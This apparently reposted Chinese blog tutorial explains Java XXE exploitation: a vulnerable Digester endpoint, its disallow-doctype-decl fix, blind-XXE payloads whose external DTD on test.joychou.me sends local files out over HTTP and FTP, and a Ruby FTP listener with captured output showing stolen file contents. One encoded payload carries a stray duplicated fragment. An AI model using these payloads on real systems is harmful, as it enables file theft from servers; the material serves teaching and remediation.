XML注入详解java中的xxe利用
Posted 锋刃科技
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XML注入详解java中的xxe利用相关的知识,希望对你有一定的参考价值。
###java中的xxe利用
1.漏洞代码
造成Java XXE漏洞的代码,真的非常多。比如下面的漏洞代码。
import org.apache.commons.digester3.Digester;
maven配置:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-digester3</artifactId>
<version>3.2</version>
</dependency>
代码
@RequestMapping("/xxe")
@ResponseBody
public static String xxetest(HttpServletRequest request) {
try {
String xml_con = request.getParameter("xml").toString();
Digester digester = new Digester();
digester.parse(new StringReader(xml_con));
return "test";
} catch (Exception e) {
return "except";
}
}
这个代码使用Digester类,所以最后修复代码需要使用该类的setFeature方法。
修复代码:
public static String xxetest(HttpServletRequest request) {
try {
String xml_con = request.getParameter("xml").toString();
Digester digester = new Digester();
// parse解析之前设置
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.parse(new StringReader(xml_con));
return "test";
} catch (Exception e) {
return "except";
}
}
再次利用时,会提示将功能"http://apache.org/xml/features/disallow-doctype-decl"设置为"真"时,不允许使用DOCTYPE。所以,这应该是在检测解析的内容是否有DOCTYPE,DOCTYPE是定义DTD的宏。黑盒测试,检测的内容为<!DOCTYPE,毕竟设置的features为disallow-doctype-decl。
其他类造成的XXE修复方案,可以参考这个文档。http://find-sec-bugs.github.io/bugs.htm
2.payload
该payload读取/etc/redhat-release文件内容。该文件内容一般情况下只有一行,所以用来证明XXE的任意文件读取,还比较合适。
URL编码后的payload:
<%3fxml+version%3d"1.0"%3f><!DOCTYPE+root+%5b<!ENTITY+%25+remote+SYSTEM+"http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml">%25remote%3b%5d><root%2f>EM+"http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml">%25remote%3b%5d><root%2f>
解码为:
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://test.joychou.me:8081/evil.xml">%remote;]><root/>
http://test.joychou.me:8081/evil.xml的内容如下:
<!ENTITY % payload SYSTEM "file:///etc/redhat-release">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://test.joychou.me:8081/%payload;'>">;
用这个的方式,可以来证明任意文件读取。
3.协议问题
Java在Blind XXE的利用上,读取文件会有些问题。
在php中,我们可以使用php://filter/read=convert.base64-encode/resource=/etc/hosts方法将文本内容进行base64编码。
Java中,没这样编码方法,所以如果要读取换行的文件,一般使用FTP协议,HTTP协议会由于存在换行等字符,请求会发送失败。
FTP读取方法可以参考这篇文章,里面也有FTP Server的相关代码。http://www.voidcn.com/article/p-njawsjxm-ko.html
开启一个匿名登录的FTP Server,端口为33的ruby脚本,ftp.rb
require 'socket'
server = TCPServer.new 33
loop do
Thread.start(server.accept) do |client|
puts "New client connected"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
puts "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
end
end
http://test.joychou.me:8081/evil.xml的内容如下:
<!ENTITY % payload SYSTEM "file:///tmp/1.txt">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://test.joychou.me:33/%payload;'>">
目的是读取XXE漏洞服务器上的/tmp/1.txt文件。
test.joychou.me服务器上执行ruby ftp.rb
访问URL,http://localhost:8080/xxe?xml=%3C%3fxml+version%3d%221.0%22%3f%3E%3C!DOCTYPE+root+%5b%3C!ENTITY+%25+remote+SYSTEM+%22http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml%22%3E%25remote%3b%5d%3E%3Croot%2f%3E
/tmp/1.txt的内容为
$ cat /tmp/1.txt
test
xxe
ftp
FTP Server收到以下内容:
New client connected
< USER anonymous
< PASS Java1.8.0_121@
< TYPE I
< EPSV ALL
< EPSV
< EPRT |1|172.17.29.150|60731|
< RETR test
< xxe
< ftp
可以看到完全读取了/tmp/1.txt的内容,并且还包括XXE漏洞服务器的内网IP 172.17.29.150。
不过有些字符只要存在,文件内容就会读取不到,比如#等字符,哪行有这些字符,读取前一行就结束。大家可以自行测试。
4.漏洞修复代码
把修复代码放在了github上。
https://github.com/JoyChou93/java-sec-code
历史关联
以上是关于XML注入详解java中的xxe利用的主要内容,如果未能解决你的问题,请参考以下文章